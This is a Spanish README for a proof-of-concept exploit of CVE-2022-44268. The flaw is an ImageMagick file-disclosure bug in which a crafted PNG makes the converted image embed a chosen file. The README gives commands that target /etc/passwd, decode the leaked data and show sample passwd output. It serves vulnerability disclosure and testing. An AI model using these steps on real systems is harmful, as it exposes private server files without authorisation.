imagemagick-lfi-poc

ImageMagick LFI PoC [CVE-2022-44268]

Los investigadores de MetabaseQ descubrieron CVE-2022-44268, es decir, ImageMagick 7.1.0-49 es vulnerable a la divulgación de información. Cuando analiza una imagen PNG (por ejemplo, para redimensionar), la imagen resultante podría tener incrustado el contenido de un archivo remoto arbitrario (si el binario de ImageMagick tiene permisos para leerlo).

Uso

• Asegúrate de tener ImageMagick y los paquetes de Python necesarios instalados.

(~)>>> python3 generate.py -f "/etc/passwd" -o exploit.png

   [>] ImageMagick LFI PoC - by Sybil Scan Research <[email protected]>
   [>] Generating Blank PNG
   [>] Blank PNG generated
   [>] Placing Payload to read /etc/passwd
   [>] PoC PNG generated > exploit.png

• Convierte el archivo PNG generado:

(~)>>> convert exploit.png result.png

• Lee el contenido del archivo PNG convertido:

(~)>>> identify -verbose result.png

• Decodifica los datos devueltos en el campo Raw profile type y verás el contenido de /etc/passwd:

(~)>>> python3 -c 'print(bytes.fromhex("726f6f743a783a726f6f743---REDACTED--").decode("utf-8"))'


root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin

Referencias

• https://www.metabaseq.com/imagemagick-zero-days/
• https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC